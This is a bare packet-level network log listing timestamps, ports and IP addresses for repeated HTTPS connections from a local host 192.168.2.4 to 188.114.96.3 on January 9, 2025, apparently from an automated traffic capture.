Jan 9, 2025 08:31:52.899619102 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.899713993 CET	443	50350	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.899759054 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.899759054 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.899890900 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.901570082 CET	50350	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.901719093 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.901783943 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:52.901926994 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.904572964 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:52.904588938 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.393915892 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.396415949 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.396461010 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513104916 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513159990 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513191938 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513231039 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513283968 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.513319969 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513334990 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.513335943 CET	443	50351	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.513387918 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.514189005 CET	50351	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.515244007 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.515320063 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.515422106 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.515666008 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.515686989 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.992482901 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:53.994529009 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:53.994549990 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141382933 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141434908 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141467094 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141499043 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141525030 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.141556978 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141621113 CET	443	50352	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.141640902 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.141804934 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.143368959 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.143368959 CET	50352	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.143414974 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.143596888 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.143794060 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.143812895 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.599195004 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.601593018 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.601627111 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.723872900 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.723921061 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.723948002 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.723973036 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.724056005 CET	443	50353	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.724092960 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.724271059 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.725579023 CET	50353	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.726039886 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.726093054 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:54.726246119 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.729568005 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:54.729581118 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.186068058 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.188297987 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.188308954 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310112953 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310168028 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310193062 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310210943 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.310214996 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310228109 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310266972 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.310281038 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310332060 CET	443	50354	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.310360909 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.310381889 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.311512947 CET	50354	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.312525988 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.312594891 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.312678099 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.313014984 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.313031912 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.771924019 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.774302959 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.774319887 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905576944 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905647039 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905673027 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905685902 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.905706882 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905736923 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905740023 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.905750990 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905816078 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.905823946 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905834913 CET	443	50355	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.905874968 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.906888008 CET	50355	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.907984972 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.908042908 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:55.908103943 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.908358097 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:55.908370018 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.363828897 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.365470886 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.365510941 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.480864048 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.480914116 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.480940104 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.480968952 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.481057882 CET	443	50356	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.481087923 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.481645107 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.482882023 CET	50356	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.482884884 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.482923985 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.484297991 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.484642029 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.484652996 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.939227104 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:56.943239927 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:56.943260908 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079179049 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079222918 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079253912 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079265118 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.079281092 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079310894 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079320908 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.079329967 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079405069 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.079410076 CET	443	50357	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.079447985 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.080612898 CET	50357	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.082065105 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.082118034 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.082175016 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.082493067 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.082505941 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.545011044 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.546797037 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.546839952 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.685941935 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.685995102 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.686019897 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.686050892 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.686057091 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.686093092 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.686113119 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.686192989 CET	443	50358	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.686249018 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.687700987 CET	50358	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.690083027 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.690126896 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:57.690211058 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.690695047 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:57.690709114 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.150110006 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.155695915 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.155711889 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281282902 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281325102 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281349897 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281373024 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281398058 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.281410933 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281439066 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.281465054 CET	443	50359	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.281526089 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.283334970 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.283339977 CET	50359	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.283380032 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.285677910 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.286370039 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.286390066 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.770535946 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.775342941 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.775374889 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911186934 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911235094 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911267042 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911302090 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911348104 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.911365032 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911387920 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.911447048 CET	443	50360	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.911618948 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.913315058 CET	50360	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.913317919 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.913388014 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:58.913647890 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.917577028 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:58.917593956 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.387118101 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.392080069 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.392112017 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531672001 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531718016 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531739950 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531760931 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531825066 CET	443	50361	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.531825066 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.531869888 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.531869888 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.532757998 CET	50361	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.533781052 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.533829927 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:59.533893108 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.534149885 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:59.534162045 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.004662037 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.031687021 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.031721115 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138489962 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138539076 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138571978 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138597965 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138679028 CET	443	50362	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.138685942 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.138685942 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.139290094 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.140496016 CET	50362	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.140501022 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.140564919 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.141666889 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.145582914 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.145598888 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.620271921 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.623270035 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.623301029 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750771999 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750816107 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750844002 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750869036 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750947952 CET	443	50363	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.750960112 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.750960112 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.753626108 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.754143000 CET	50363	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.755064964 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.755114079 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:00.755191088 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.755438089 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:00.755445957 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.212240934 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.214207888 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.214251995 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340409994 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340464115 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340500116 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340502024 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.340523958 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340553045 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.340559959 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340656996 CET	443	50364	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.340693951 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.341476917 CET	50364	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.342900038 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.342957973 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.343010902 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.343360901 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.343381882 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.799135923 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.812109947 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.812133074 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939734936 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939778090 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939801931 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939827919 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.939841032 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939851999 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939881086 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.939944029 CET	443	50365	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.939985037 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.943789005 CET	50365	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.962274075 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.962343931 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:01.962409019 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.962670088 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:01.962683916 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.446911097 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.449213982 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.449244976 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583355904 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583403111 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583425999 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583447933 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583492041 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.583522081 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583537102 CET	443	50366	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.583548069 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.583616018 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.584434986 CET	50366	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.585691929 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.585731983 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:02.585809946 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.586153984 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:02.586162090 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.058106899 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.060430050 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.060456038 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190687895 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190737009 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190766096 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190778971 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.190797091 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190826893 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190836906 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.190841913 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190884113 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.190890074 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190911055 CET	443	50367	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.190957069 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.191951990 CET	50367	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.193522930 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.193551064 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.193609953 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.193953037 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.193960905 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.655884981 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.657505035 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.657541037 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779047966 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779093981 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779124022 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779139042 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.779148102 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779165030 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779186010 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.779241085 CET	443	50368	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.779283047 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.779937029 CET	50368	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.781119108 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.781163931 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:03.781235933 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.781497955 CET	50369	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:03.781512976 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.262242079 CET	443	50369	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:04.266048908 CET	50369	443	192.168.2.4	188.114.96.3
